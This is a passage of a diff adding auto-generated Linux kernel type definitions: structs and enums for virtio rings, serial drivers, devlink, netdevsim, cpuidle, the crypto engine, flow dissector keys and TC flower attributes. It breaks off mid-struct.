+enum xen_domain_type { + XEN_NATIVE = 0, + XEN_PV_DOMAIN = 1, + XEN_HVM_DOMAIN = 2, +}; + +struct vring_desc_state_split { + void *data; + struct vring_desc *indir_desc; +}; + +struct vring_desc_state_packed { + void *data; + struct vring_packed_desc *indir_desc; + u16 num; + u16 last; +}; + +struct vring_desc_extra { + dma_addr_t addr; + u32 len; + u16 flags; + u16 next; +}; + +struct vring_virtqueue_split { + struct vring vring; + u16 avail_flags_shadow; + u16 avail_idx_shadow; + struct vring_desc_state_split *desc_state; + struct vring_desc_extra *desc_extra; + dma_addr_t queue_dma_addr; + size_t queue_size_in_bytes; + u32 vring_align; + bool may_reduce_num; +}; + +struct vring_virtqueue_packed { + struct { + unsigned int num; + struct vring_packed_desc *desc; + struct vring_packed_desc_event *driver; + struct vring_packed_desc_event *device; + } vring; + bool avail_wrap_counter; + u16 avail_used_flags; + u16 next_avail_idx; + u16 event_flags_shadow; + struct vring_desc_state_packed *desc_state; + struct vring_desc_extra *desc_extra; + dma_addr_t ring_dma_addr; + dma_addr_t driver_event_dma_addr; + dma_addr_t device_event_dma_addr; + size_t ring_size_in_bytes; + size_t event_size_in_bytes; +}; + +struct vring_virtqueue { + struct virtqueue vq; + bool packed_ring; + bool use_dma_api; + bool weak_barriers; + bool broken; + bool indirect; + bool event; + unsigned int free_head; + unsigned int num_added; + u16 last_used_idx; + bool event_triggered; + union { + struct vring_virtqueue_split split; + struct vring_virtqueue_packed packed; + }; + bool (*notify)(struct virtqueue *); + bool we_own_ring; + struct device *dma_dev; +}; + +enum { + KERNEL_PARAM_FL_UNSAFE = 1, + KERNEL_PARAM_FL_HWPARAM = 2, +}; + +enum hwparam_type { + hwparam_ioport = 0, + hwparam_iomem = 1, + hwparam_ioport_or_iomem = 2, + hwparam_irq = 3, + hwparam_dma = 4, + hwparam_dma_addr = 5, + hwparam_other = 6, +}; + +struct platform_driver { + int (*probe)(struct platform_device *); + int (*remove)(struct platform_device *); + void (*remove_new)(struct platform_device *); + void (*shutdown)(struct platform_device *); + int (*suspend)(struct platform_device *, pm_message_t); + int (*resume)(struct platform_device *); + struct device_driver driver; + const struct platform_device_id *id_table; + bool prevent_deferred_probe; + bool driver_managed_dma; +}; + +struct uart_driver { + struct module *owner; + const char *driver_name; + const char *dev_name; + int major; + int minor; + int nr; + struct console *cons; + struct uart_state *state; + struct tty_driver *tty_driver; +}; + +struct plat_serial8250_port { + long unsigned int iobase; + void *membase; + resource_size_t mapbase; + unsigned int uartclk; + unsigned int irq; + long unsigned int irqflags; + void *private_data; + unsigned char regshift; + unsigned char iotype; + unsigned char hub6; + unsigned char has_sysrq; + unsigned int type; + upf_t flags; + unsigned int (*serial_in)(struct uart_port *, int); + void (*serial_out)(struct uart_port *, int, int); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + unsigned int (*get_mctrl)(struct uart_port *); + int (*handle_irq)(struct uart_port *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + void (*handle_break)(struct uart_port *); +}; + +enum { + PLAT8250_DEV_LEGACY = -1, + PLAT8250_DEV_PLATFORM = 0, + PLAT8250_DEV_PLATFORM1 = 1, + PLAT8250_DEV_PLATFORM2 = 2, + PLAT8250_DEV_FOURPORT = 3, + PLAT8250_DEV_ACCENT = 4, + PLAT8250_DEV_BOCA = 5, + PLAT8250_DEV_EXAR_ST16C554 = 6, + PLAT8250_DEV_HUB6 = 7, + PLAT8250_DEV_AU1X00 = 8, + PLAT8250_DEV_SM501 = 9, +}; + +struct old_serial_port { + unsigned int uart; + unsigned int baud_base; + unsigned int port; + unsigned int irq; + upf_t flags; + unsigned char io_type; + unsigned char *iomem_base; + short unsigned int iomem_reg_shift; +}; + +struct irq_info { + struct hlist_node node; + int irq; + spinlock_t lock; + struct list_head *head; +}; + +struct tpm_readpubek_out { + u8 algorithm[4]; + u8 encscheme[2]; + u8 sigscheme[2]; + __be32 paramsize; + u8 parameters[12]; + __be32 keysize; + u8 modulus[256]; + u8 checksum[20]; +}; + +struct tpm_pcr_attr { + int alg_id; + int pcr; + struct device_attribute attr; +}; + +struct class_dev_iter { + struct klist_iter ki; + const struct device_type *type; +}; + +struct class_attribute { + struct attribute attr; + ssize_t (*show)(const struct class *, const struct class_attribute *, char *); + ssize_t (*store)(const struct class *, const struct class_attribute *, const char *, size_t); +}; + +struct class_attribute_string { + struct class_attribute attr; + char *str; +}; + +struct class_interface { + struct list_head node; + const struct class *class; + int (*add_dev)(struct device *); + void (*remove_dev)(struct device *); +}; + +struct class_compat { + struct kobject *kobj; +}; + +enum { + BPF_ANY = 0, + BPF_NOEXIST = 1, + BPF_EXIST = 2, + BPF_F_LOCK = 4, +}; + +struct bpf_prog_offload_ops { + int (*insn_hook)(struct bpf_verifier_env *, int, int); + int (*finalize)(struct bpf_verifier_env *); + int (*replace_insn)(struct bpf_verifier_env *, u32, struct bpf_insn *); + int (*remove_insns)(struct bpf_verifier_env *, u32, u32); + int (*prepare)(struct bpf_prog *); + int (*translate)(struct bpf_prog *); + void (*destroy)(struct bpf_prog *); +}; + +struct xdp_attachment_info { + struct bpf_prog *prog; + u32 flags; +}; + +enum devlink_port_type { + DEVLINK_PORT_TYPE_NOTSET = 0, + DEVLINK_PORT_TYPE_AUTO = 1, + DEVLINK_PORT_TYPE_ETH = 2, + DEVLINK_PORT_TYPE_IB = 3, +}; + +enum devlink_port_flavour { + DEVLINK_PORT_FLAVOUR_PHYSICAL = 0, + DEVLINK_PORT_FLAVOUR_CPU = 1, + DEVLINK_PORT_FLAVOUR_DSA = 2, + DEVLINK_PORT_FLAVOUR_PCI_PF = 3, + DEVLINK_PORT_FLAVOUR_PCI_VF = 4, + DEVLINK_PORT_FLAVOUR_VIRTUAL = 5, + DEVLINK_PORT_FLAVOUR_UNUSED = 6, + DEVLINK_PORT_FLAVOUR_PCI_SF = 7, +}; + +struct devlink_port_phys_attrs { + u32 port_number; + u32 split_subport_number; +}; + +struct devlink_port_pci_pf_attrs { + u32 controller; + u16 pf; + u8 external: 1; +}; + +struct devlink_port_pci_vf_attrs { + u32 controller; + u16 pf; + u16 vf; + u8 external: 1; +}; + +struct devlink_port_pci_sf_attrs { + u32 controller; + u32 sf; + u16 pf; + u8 external: 1; +}; + +struct devlink_port_attrs { + u8 split: 1; + u8 splittable: 1; + u32 lanes; + enum devlink_port_flavour flavour; + struct netdev_phys_item_id switch_id; + union { + struct devlink_port_phys_attrs phys; + struct devlink_port_pci_pf_attrs pci_pf; + struct devlink_port_pci_vf_attrs pci_vf; + struct devlink_port_pci_sf_attrs pci_sf; + }; +}; + +struct devlink; + +struct ib_device; + +struct devlink_rate; + +struct devlink_linecard; + +struct devlink_port { + struct list_head list; + struct list_head region_list; + struct devlink *devlink; + unsigned int index; + spinlock_t type_lock; + enum devlink_port_type type; + enum devlink_port_type desired_type; + union { + struct { + struct net_device *netdev; + int ifindex; + char ifname[16]; + } type_eth; + struct { + struct ib_device *ibdev; + } type_ib; + }; + struct devlink_port_attrs attrs; + u8 attrs_set: 1; + u8 switch_port: 1; + u8 registered: 1; + u8 initialized: 1; + struct delayed_work type_warn_dw; + struct list_head reporter_list; + struct devlink_rate *devlink_rate; + struct devlink_linecard *linecard; +}; + +struct flow_action_cookie { + u32 cookie_len; + u8 cookie[0]; +}; + +struct flow_cls_common_offload { + u32 chain_index; + __be16 protocol; + u32 prio; + struct netlink_ext_ack *extack; +}; + +struct debugfs_u32_array { + u32 *array; + u32 n_elements; +}; + +enum tc_clsbpf_command { + TC_CLSBPF_OFFLOAD = 0, + TC_CLSBPF_STATS = 1, +}; + +struct tc_cls_bpf_offload { + struct flow_cls_common_offload common; + enum tc_clsbpf_command command; + struct tcf_exts *exts; + struct bpf_prog *prog; + struct bpf_prog *oldprog; + const char *name; + bool exts_integrated; +}; + +enum devlink_rate_type { + DEVLINK_RATE_TYPE_LEAF = 0, + DEVLINK_RATE_TYPE_NODE = 1, +}; + +enum devlink_dpipe_field_mapping_type { + DEVLINK_DPIPE_FIELD_MAPPING_TYPE_NONE = 0, + DEVLINK_DPIPE_FIELD_MAPPING_TYPE_IFINDEX = 1, +}; + +struct devlink_rate { + struct list_head list; + enum devlink_rate_type type; + struct devlink *devlink; + void *priv; + u64 tx_share; + u64 tx_max; + struct devlink_rate *parent; + union { + struct devlink_port *devlink_port; + struct { + char *name; + refcount_t refcnt; + }; + }; + u32 tx_priority; + u32 tx_weight; +}; + +struct devlink_dpipe_field { + const char *name; + unsigned int id; + unsigned int bitwidth; + enum devlink_dpipe_field_mapping_type mapping_type; +}; + +struct devlink_dpipe_header { + const char *name; + unsigned int id; + struct devlink_dpipe_field *fields; + unsigned int fields_count; + bool global; +}; + +struct nsim_sa { + struct xfrm_state *xs; + __be32 ipaddr[4]; + u32 key[4]; + u32 salt; + bool used; + bool crypt; + bool rx; +}; + +struct nsim_ipsec { + struct nsim_sa sa[33]; + struct dentry *pfile; + u32 count; + u32 tx; + u32 ok; +}; + +struct nsim_ethtool_pauseparam { + bool rx; + bool tx; + bool report_stats_rx; + bool report_stats_tx; +}; + +struct nsim_ethtool { + u32 get_err; + u32 set_err; + u32 channels; + struct nsim_ethtool_pauseparam pauseparam; + struct ethtool_coalesce coalesce; + struct ethtool_ringparam ring; + struct ethtool_fecparam fec; +}; + +struct nsim_dev; + +struct nsim_dev_port; + +struct nsim_bus_dev; + +struct netdevsim { + struct net_device *netdev; + struct nsim_dev *nsim_dev; + struct nsim_dev_port *nsim_dev_port; + u64 tx_packets; + u64 tx_bytes; + struct u64_stats_sync syncp; + struct nsim_bus_dev *nsim_bus_dev; + struct bpf_prog *bpf_offloaded; + u32 bpf_offloaded_id; + struct xdp_attachment_info xdp; + struct xdp_attachment_info xdp_hw; + bool bpf_tc_accept; + bool bpf_tc_non_bound_accept; + bool bpf_xdpdrv_accept; + bool bpf_xdpoffload_accept; + bool bpf_map_accept; + struct nsim_ipsec ipsec; + struct { + u32 inject_error; + u32 sleep; + u32 __ports[8]; + u32 (*ports)[4]; + struct debugfs_u32_array dfs_ports[2]; + } udp_ports; + struct nsim_ethtool ethtool; +}; + +struct devlink_region; + +struct devlink_health_reporter; + +struct nsim_dev_health { + struct devlink_health_reporter *empty_reporter; + struct devlink_health_reporter *dummy_reporter; + struct dentry *ddir; + char *recovered_break_msg; + u32 binary_len; + bool fail_recover; +}; + +struct nsim_dev_hwstats { + struct dentry *ddir; + struct dentry *l3_ddir; + struct mutex hwsdev_list_lock; + struct list_head l3_list; + struct notifier_block netdevice_nb; + struct delayed_work traffic_dw; +}; + +struct nsim_dev_psample; + +struct nsim_fib_data; + +struct nsim_trap_data; + +struct nsim_vf_config; + +struct nsim_dev { + struct nsim_bus_dev *nsim_bus_dev; + struct nsim_fib_data *fib_data; + struct nsim_trap_data *trap_data; + struct dentry *ddir; + struct dentry *ports_ddir; + struct dentry *take_snapshot; + struct dentry *nodes_ddir; + struct nsim_vf_config *vfconfigs; + struct bpf_offload_dev *bpf_dev; + bool bpf_bind_accept; + bool bpf_bind_verifier_accept; + u32 bpf_bind_verifier_delay; + struct dentry *ddir_bpf_bound_progs; + u32 prog_id_gen; + struct list_head bpf_bound_progs; + struct list_head bpf_bound_maps; + struct netdev_phys_item_id switch_id; + struct list_head port_list; + bool fw_update_status; + u32 fw_update_overwrite_mask; + u32 max_macs; + bool test1; + bool dont_allow_reload; + bool fail_reload; + struct devlink_region *dummy_region; + struct nsim_dev_health health; + struct nsim_dev_hwstats hwstats; + struct flow_action_cookie *fa_cookie; + spinlock_t fa_cookie_lock; + bool fail_trap_group_set; + bool fail_trap_policer_set; + bool fail_trap_policer_counter_get; + bool fail_trap_drop_counter_get; + struct { + struct udp_tunnel_nic_shared utn_shared; + u32 __ports[8]; + bool sync_all; + bool open_only; + bool ipv4_only; + bool shared; + bool static_iana_vxlan; + u32 sleep; + } udp_ports; + struct nsim_dev_psample *psample; + u16 esw_mode; +}; + +enum nsim_dev_port_type { + NSIM_DEV_PORT_TYPE_PF = 0, + NSIM_DEV_PORT_TYPE_VF = 1, +}; + +struct nsim_dev_port { + struct list_head list; + struct devlink_port devlink_port; + unsigned int port_index; + enum nsim_dev_port_type port_type; + struct dentry *ddir; + struct dentry *rate_parent; + char *parent_name; + struct netdevsim *ns; +}; + +struct nsim_bus_dev { + struct device dev; + struct list_head list; + unsigned int port_count; + unsigned int num_queues; + struct net *initial_net; + unsigned int max_vfs; + unsigned int num_vfs; + bool init; +}; + +struct nsim_vf_config { + int link_state; + u16 min_tx_rate; + u16 max_tx_rate; + u16 vlan; + __be16 vlan_proto; + u16 qos; + u8 vf_mac[6]; + bool spoofchk_enabled; + bool trusted; + bool rss_query_enabled; +}; + +struct nsim_bpf_bound_prog { + struct nsim_dev *nsim_dev; + struct bpf_prog *prog; + struct dentry *ddir; + const char *state; + bool is_loaded; + struct list_head l; +}; + +struct nsim_map_entry { + void *key; + void *value; +}; + +struct nsim_bpf_bound_map { + struct netdevsim *ns; + struct bpf_offloaded_map *map; + struct mutex mutex; + struct nsim_map_entry entry[2]; + struct list_head l; +}; + +struct cpuidle_state_usage { + long long unsigned int disable; + long long unsigned int usage; + u64 time_ns; + long long unsigned int above; + long long unsigned int below; + long long unsigned int rejected; + long long unsigned int s2idle_usage; + long long unsigned int s2idle_time; +}; + +struct cpuidle_device; + +struct cpuidle_driver; + +struct cpuidle_state { + char name[16]; + char desc[32]; + s64 exit_latency_ns; + s64 target_residency_ns; + unsigned int flags; + unsigned int exit_latency; + int power_usage; + unsigned int target_residency; + int (*enter)(struct cpuidle_device *, struct cpuidle_driver *, int); + int (*enter_dead)(struct cpuidle_device *, int); + int (*enter_s2idle)(struct cpuidle_device *, struct cpuidle_driver *, int); +}; + +struct cpuidle_driver_kobj; + +struct cpuidle_state_kobj; + +struct cpuidle_device_kobj; + +struct cpuidle_device { + unsigned int registered: 1; + unsigned int enabled: 1; + unsigned int poll_time_limit: 1; + unsigned int cpu; + ktime_t next_hrtimer; + int last_state_idx; + u64 last_residency_ns; + u64 poll_limit_ns; + u64 forced_idle_latency_limit_ns; + struct cpuidle_state_usage states_usage[10]; + struct cpuidle_state_kobj *kobjs[10]; + struct cpuidle_driver_kobj *kobj_driver; + struct cpuidle_device_kobj *kobj_dev; + struct list_head device_list; +}; + +struct cpuidle_driver { + const char *name; + struct module *owner; + unsigned int bctimer: 1; + struct cpuidle_state states[10]; + int state_count; + int safe_state_index; + struct cpumask *cpumask; + const char *governor; +}; + +struct cpuidle_governor { + char name[16]; + struct list_head governor_list; + unsigned int rating; + int (*enable)(struct cpuidle_driver *, struct cpuidle_device *); + void (*disable)(struct cpuidle_driver *, struct cpuidle_device *); + int (*select)(struct cpuidle_driver *, struct cpuidle_device *, bool *); + void (*reflect)(struct cpuidle_device *, int); +}; + +struct ladder_device_state { + struct { + u32 promotion_count; + u32 demotion_count; + u64 promotion_time_ns; + u64 demotion_time_ns; + } threshold; + struct { + int promotion_count; + int demotion_count; + } stats; +}; + +struct ladder_device { + struct ladder_device_state states[10]; +}; + +struct crypto_queue { + struct list_head list; + struct list_head *backlog; + unsigned int qlen; + unsigned int max_qlen; +}; + +struct crypto_engine { + char name[30]; + bool idling; + bool busy; + bool running; + bool retry_support; + struct list_head list; + spinlock_t queue_lock; + struct crypto_queue queue; + struct device *dev; + bool rt; + int (*prepare_crypt_hardware)(struct crypto_engine *); + int (*unprepare_crypt_hardware)(struct crypto_engine *); + int (*do_batch_requests)(struct crypto_engine *); + struct kthread_worker *kworker; + struct kthread_work pump_requests; + void *priv_data; + struct crypto_async_request *cur_req; +}; + +struct data_queue { + struct virtqueue *vq; + spinlock_t lock; + char name[32]; + struct crypto_engine *engine; +}; + +struct virtio_crypto { + struct virtio_device *vdev; + struct virtqueue *ctrl_vq; + struct data_queue *data_vq; + spinlock_t ctrl_lock; + u32 max_data_queues; + u32 curr_queue; + u32 crypto_services; + u32 cipher_algo_l; + u32 cipher_algo_h; + u32 hash_algo; + u32 mac_algo_l; + u32 mac_algo_h; + u32 aead_algo; + u32 akcipher_algo; + u32 max_cipher_key_len; + u32 max_auth_key_len; + u64 max_size; + long unsigned int status; + atomic_t ref_count; + struct list_head list; + struct module *owner; + uint8_t dev_id; + bool affinity_hint_set; +}; + +struct flow_dissector_mpls_lse { + u32 mpls_ttl: 8; + u32 mpls_bos: 1; + u32 mpls_tc: 3; + u32 mpls_label: 20; +}; + +struct flow_dissector_key_mpls { + struct flow_dissector_mpls_lse ls[7]; + u8 used_lses; +}; + +struct flow_dissector_key_enc_opts { + u8 data[255]; + u8 len; + __be16 dst_opt_type; +}; + +struct flow_dissector_key_arp { + __u32 sip; + __u32 tip; + __u8 op; + unsigned char sha[6]; + unsigned char tha[6]; +}; + +struct flow_dissector_key_ports_range { + union { + struct flow_dissector_key_ports tp; + struct { + struct flow_dissector_key_ports tp_min; + struct flow_dissector_key_ports tp_max; + }; + }; +}; + +struct flow_dissector_key_eth_addrs { + unsigned char dst[6]; + unsigned char src[6]; +}; + +struct flow_dissector_key_tcp { + __be16 flags; +}; + +struct flow_dissector_key_ip { + __u8 tos; + __u8 ttl; +}; + +struct flow_dissector_key_meta { + int ingress_ifindex; + u16 ingress_iftype; +}; + +struct flow_dissector_key_ct { + u16 ct_state; + u16 ct_zone; + u32 ct_mark; + u32 ct_labels[4]; +}; + +struct flow_dissector_key_hash { + u32 hash; +}; + +struct flow_dissector_key_num_of_vlans { + u8 num_of_vlans; +}; + +struct flow_dissector_key_pppoe { + __be16 session_id; + __be16 ppp_proto; + __be16 type; +}; + +struct flow_dissector_key_l2tpv3 { + __be32 session_id; +}; + +struct flow_dissector_key { + enum flow_dissector_key_id key_id; + size_t offset; +}; + +enum { + TCA_FLOWER_UNSPEC = 0, + TCA_FLOWER_CLASSID = 1, + TCA_FLOWER_INDEV = 2, + TCA_FLOWER_ACT = 3, + TCA_FLOWER_KEY_ETH_DST = 4, + TCA_FLOWER_KEY_ETH_DST_MASK = 5, + TCA_FLOWER_KEY_ETH_SRC = 6, + TCA_FLOWER_KEY_ETH_SRC_MASK = 7, + TCA_FLOWER_KEY_ETH_TYPE = 8, + TCA_FLOWER_KEY_IP_PROTO = 9, + TCA_FLOWER_KEY_IPV4_SRC = 10, + TCA_FLOWER_KEY_IPV4_SRC_MASK = 11, + TCA_FLOWER_KEY_IPV4_DST = 12, + TCA_FLOWER_KEY_IPV4_DST_MASK = 13, + TCA_FLOWER_KEY_IPV6_SRC = 14, + TCA_FLOWER_KEY_IPV6_SRC_MASK = 15, + TCA_FLOWER_KEY_IPV6_DST = 16, + TCA_FLOWER_KEY_IPV6_DST_MASK = 17, + TCA_FLOWER_KEY_TCP_SRC = 18, + TCA_FLOWER_KEY_TCP_DST = 19, + TCA_FLOWER_KEY_UDP_SRC = 20, + TCA_FLOWER_KEY_UDP_DST = 21, + TCA_FLOWER_FLAGS = 22, + TCA_FLOWER_KEY_VLAN_ID = 23, + TCA_FLOWER_KEY_VLAN_PRIO = 24, + TCA_FLOWER_KEY_VLAN_ETH_TYPE = 25, + TCA_FLOWER_KEY_ENC_KEY_ID = 26, + TCA_FLOWER_KEY_ENC_IPV4_SRC = 27, + TCA_FLOWER_KEY_ENC_IPV4_SRC_MASK = 28, + TCA_FLOWER_KEY_ENC_IPV4_DST = 29, + TCA_FLOWER_KEY_ENC_IPV4_DST_MASK = 30, + TCA_FLOWER_KEY_ENC_IPV6_SRC = 31, + TCA_FLOWER_KEY_ENC_IPV6_SRC_MASK = 32, + TCA_FLOWER_KEY_ENC_IPV6_DST = 33, + TCA_FLOWER_KEY_ENC_IPV6_DST_MASK = 34, + TCA_FLOWER_KEY_TCP_SRC_MASK = 35, + TCA_FLOWER_KEY_TCP_DST_MASK = 36, + TCA_FLOWER_KEY_UDP_SRC_MASK = 37, + TCA_FLOWER_KEY_UDP_DST_MASK = 38, + TCA_FLOWER_KEY_SCTP_SRC_MASK = 39, + TCA_FLOWER_KEY_SCTP_DST_MASK = 40, + TCA_FLOWER_KEY_SCTP_SRC = 41, + TCA_FLOWER_KEY_SCTP_DST = 42, + TCA_FLOWER_KEY_ENC_UDP_SRC_PORT = 43, + TCA_FLOWER_KEY_ENC_UDP_SRC_PORT_MASK = 44, + TCA_FLOWER_KEY_ENC_UDP_DST_PORT = 45, + TCA_FLOWER_KEY_ENC_UDP_DST_PORT_MASK = 46, + TCA_FLOWER_KEY_FLAGS = 47, + TCA_FLOWER_KEY_FLAGS_MASK = 48, + TCA_FLOWER_KEY_ICMPV4_CODE = 49, + TCA_FLOWER_KEY_ICMPV4_CODE_MASK = 50, + TCA_FLOWER_KEY_ICMPV4_TYPE = 51, + TCA_FLOWER_KEY_ICMPV4_TYPE_MASK = 52, + TCA_FLOWER_KEY_ICMPV6_CODE = 53, + TCA_FLOWER_KEY_ICMPV6_CODE_MASK = 54, + TCA_FLOWER_KEY_ICMPV6_TYPE = 55, + TCA_FLOWER_KEY_ICMPV6_TYPE_MASK = 56, + TCA_FLOWER_KEY_ARP_SIP = 57, + TCA_FLOWER_KEY_ARP_SIP_MASK = 58, + TCA_FLOWER_KEY_ARP_TIP = 59, + TCA_FLOWER_KEY_ARP_TIP_MASK = 60, + TCA_FLOWER_KEY_ARP_OP = 61, + TCA_FLOWER_KEY_ARP_OP_MASK = 62, + TCA_FLOWER_KEY_ARP_SHA = 63, + TCA_FLOWER_KEY_ARP_SHA_MASK = 64, + TCA_FLOWER_KEY_ARP_THA = 65, + TCA_FLOWER_KEY_ARP_THA_MASK = 66, + TCA_FLOWER_KEY_MPLS_TTL = 67, + TCA_FLOWER_KEY_MPLS_BOS = 68, + TCA_FLOWER_KEY_MPLS_TC = 69, + TCA_FLOWER_KEY_MPLS_LABEL = 70, + TCA_FLOWER_KEY_TCP_FLAGS = 71, + TCA_FLOWER_KEY_TCP_FLAGS_MASK = 72, + TCA_FLOWER_KEY_IP_TOS = 73, + TCA_FLOWER_KEY_IP_TOS_MASK = 74, + TCA_FLOWER_KEY_IP_TTL = 75, + TCA_FLOWER_KEY_IP_TTL_MASK = 76, + TCA_FLOWER_KEY_CVLAN_ID = 77, + TCA_FLOWER_KEY_CVLAN_PRIO = 78, + TCA_FLOWER_KEY_CVLAN_ETH_TYPE = 79, + TCA_FLOWER_KEY_ENC_IP_TOS = 80, + TCA_FLOWER_KEY_ENC_IP_TOS_MASK = 81, + TCA_FLOWER_KEY_ENC_IP_TTL = 82, + TCA_FLOWER_KEY_ENC_IP_TTL_MASK = 83, + TCA_FLOWER_KEY_ENC_OPTS = 84, + TCA_FLOWER_KEY_ENC_OPTS_MASK = 85, + TCA_FLOWER_IN_HW_COUNT = 86, + TCA_FLOWER_KEY_PORT_SRC_MIN = 87, + TCA_FLOWER_KEY_PORT_SRC_MAX = 88, + TCA_FLOWER_KEY_PORT_DST_MIN = 89, + TCA_FLOWER_KEY_PORT_DST_MAX = 90, + TCA_FLOWER_KEY_CT_STATE = 91, + TCA_FLOWER_KEY_CT_STATE_MASK = 92, + TCA_FLOWER_KEY_CT_ZONE = 93, + TCA_FLOWER_KEY_CT_ZONE_MASK = 94, + TCA_FLOWER_KEY_CT_MARK = 95, + TCA_FLOWER_KEY_CT_MARK_MASK = 96, + TCA_FLOWER_KEY_CT_LABELS = 97, + TCA_FLOWER_KEY_CT_LABELS_MASK = 98, + TCA_FLOWER_KEY_MPLS_OPTS = 99, + TCA_FLOWER_KEY_HASH = 100, + TCA_FLOWER_KEY_HASH_MASK = 101, + TCA_FLOWER_KEY_NUM_OF_VLANS = 102, + TCA_FLOWER_KEY_PPPOE_SID = 103, + TCA_FLOWER_KEY_PPP_PROTO = 104, + TCA_FLOWER_KEY_L2TPV3_SID = 105, + __TCA_FLOWER_MAX = 106, +}; + +enum { + TCA_FLOWER_KEY_CT_FLAGS_NEW = 1, + TCA_FLOWER_KEY_CT_FLAGS_ESTABLISHED = 2, + TCA_FLOWER_KEY_CT_FLAGS_RELATED = 4, + TCA_FLOWER_KEY_CT_FLAGS_TRACKED = 8, + TCA_FLOWER_KEY_CT_FLAGS_INVALID = 16, + TCA_FLOWER_KEY_CT_FLAGS_REPLY = 32, + __TCA_FLOWER_KEY_CT_FLAGS_MAX = 33, +}; + +enum { + TCA_FLOWER_KEY_ENC_OPTS_UNSPEC = 0, + TCA_FLOWER_KEY_ENC_OPTS_GENEVE = 1, + TCA_FLOWER_KEY_ENC_OPTS_VXLAN = 2, + TCA_FLOWER_KEY_ENC_OPTS_ERSPAN = 3, + TCA_FLOWER_KEY_ENC_OPTS_GTP = 4, + __TCA_FLOWER_KEY_ENC_OPTS_MAX = 5, +}; + +enum { + TCA_FLOWER_KEY_ENC_OPT_GENEVE_UNSPEC = 0, + TCA_FLOWER_KEY_ENC_OPT_GENEVE_CLASS = 1, + TCA_FLOWER_KEY_ENC_OPT_GENEVE_TYPE = 2, + TCA_FLOWER_KEY_ENC_OPT_GENEVE_DATA = 3, + __TCA_FLOWER_KEY_ENC_OPT_GENEVE_MAX = 4, +}; + +enum { + TCA_FLOWER_KEY_ENC_OPT_VXLAN_UNSPEC = 0, + TCA_FLOWER_KEY_ENC_OPT_VXLAN_GBP = 1, + __TCA_FLOWER_KEY_ENC_OPT_VXLAN_MAX = 2, +}; + +enum { + TCA_FLOWER_KEY_ENC_OPT_ERSPAN_UNSPEC = 0, + TCA_FLOWER_KEY_ENC_OPT_ERSPAN_VER = 1, + TCA_FLOWER_KEY_ENC_OPT_ERSPAN_INDEX = 2, + TCA_FLOWER_KEY_ENC_OPT_ERSPAN_DIR = 3, + TCA_FLOWER_KEY_ENC_OPT_ERSPAN_HWID = 4, + __TCA_FLOWER_KEY_ENC_OPT_ERSPAN_MAX = 5, +}; + +enum { + TCA_FLOWER_KEY_ENC_OPT_GTP_UNSPEC = 0, + TCA_FLOWER_KEY_ENC_OPT_GTP_PDU_TYPE = 1, + TCA_FLOWER_KEY_ENC_OPT_GTP_QFI = 2, + __TCA_FLOWER_KEY_ENC_OPT_GTP_MAX = 3, +}; + +enum { + TCA_FLOWER_KEY_MPLS_OPTS_UNSPEC = 0, + TCA_FLOWER_KEY_MPLS_OPTS_LSE = 1, + __TCA_FLOWER_KEY_MPLS_OPTS_MAX = 2, +}; + +enum { + TCA_FLOWER_KEY_MPLS_OPT_LSE_UNSPEC = 0, + TCA_FLOWER_KEY_MPLS_OPT_LSE_DEPTH = 1, + TCA_FLOWER_KEY_MPLS_OPT_LSE_TTL = 2, + TCA_FLOWER_KEY_MPLS_OPT_LSE_BOS = 3, + TCA_FLOWER_KEY_MPLS_OPT_LSE_TC = 4, + TCA_FLOWER_KEY_MPLS_OPT_LSE_LABEL = 5, + __TCA_FLOWER_KEY_MPLS_OPT_LSE_MAX = 6, +}; + +enum { + TCA_FLOWER_KEY_FLAGS_IS_FRAGMENT = 1, + TCA_FLOWER_KEY_FLAGS_FRAG_IS_FIRST = 2, +}; + +struct flow_match { + struct flow_dissector *dissector; + void *mask; + void *key; +}; + +enum flow_action_id { + FLOW_ACTION_ACCEPT = 0, + FLOW_ACTION_DROP = 1, + FLOW_ACTION_TRAP = 2, + FLOW_ACTION_GOTO = 3, + FLOW_ACTION_REDIRECT = 4, + FLOW_ACTION_MIRRED = 5, + FLOW_ACTION_REDIRECT_INGRESS = 6, + FLOW_ACTION_MIRRED_INGRESS = 7, + FLOW_ACTION_VLAN_PUSH = 8, + FLOW_ACTION_VLAN_POP = 9, + FLOW_ACTION_VLAN_MANGLE = 10, + FLOW_ACTION_TUNNEL_ENCAP = 11, + FLOW_ACTION_TUNNEL_DECAP = 12, + FLOW_ACTION_MANGLE = 13, + FLOW_ACTION_ADD = 14, + FLOW_ACTION_CSUM = 15, + FLOW_ACTION_MARK = 16, + FLOW_ACTION_PTYPE = 17, + FLOW_ACTION_PRIORITY = 18, + FLOW_ACTION_RX_QUEUE_MAPPING = 19, + FLOW_ACTION_WAKE = 20, + FLOW_ACTION_QUEUE = 21, + FLOW_ACTION_SAMPLE = 22, + FLOW_ACTION_POLICE = 23, + FLOW_ACTION_CT = 24, + FLOW_ACTION_CT_METADATA = 25, + FLOW_ACTION_MPLS_PUSH = 26, + FLOW_ACTION_MPLS_POP = 27, + FLOW_ACTION_MPLS_MANGLE = 28, + FLOW_ACTION_GATE = 29, + FLOW_ACTION_PPPOE_PUSH = 30, + FLOW_ACTION_JUMP = 31, + FLOW_ACTION_PIPE = 32, + FLOW_ACTION_VLAN_PUSH_ETH = 33, + FLOW_ACTION_VLAN_POP_ETH = 34, + FLOW_ACTION_CONTINUE = 35, + NUM_FLOW_ACTIONS = 36, +}; + +enum flow_action_mangle_base { + FLOW_ACT_MANGLE_UNSPEC = 0, + FLOW_ACT_MANGLE_HDR_TYPE_ETH = 1, + FLOW_ACT_MANGLE_HDR_TYPE_IP4 = 2, + FLOW_ACT_MANGLE_HDR_TYPE_IP6 = 3, + FLOW_ACT_MANGLE_HDR_TYPE_TCP = 4, + FLOW_ACT_MANGLE_HDR_TYPE_UDP = 5, +}; + +enum flow_action_hw_stats { + FLOW_ACTION_HW_STATS_IMMEDIATE = 1, + FLOW_ACTION_HW_STATS_DELAYED = 2, + FLOW_ACTION_HW_STATS_ANY = 3, + FLOW_ACTION_HW_STATS_DISABLED = 4, + FLOW_ACTION_HW_STATS_DONT_CARE = 7, +}; + +typedef void (*action_destr)(void *); + +struct nf_flowtable; + +struct action_gate_entry; + +struct flow_action_entry { + enum flow_action_id id; + u32 hw_index; + long unsigned int cookie; + u64 miss_cookie; + enum flow_action_hw_stats hw_stats; + action_destr destructor; + void *destructor_priv; + union { + u32 chain_index; + struct net_device *dev; + struct { + u16 vid; + __be16 proto; + u8 prio; + } vlan; + 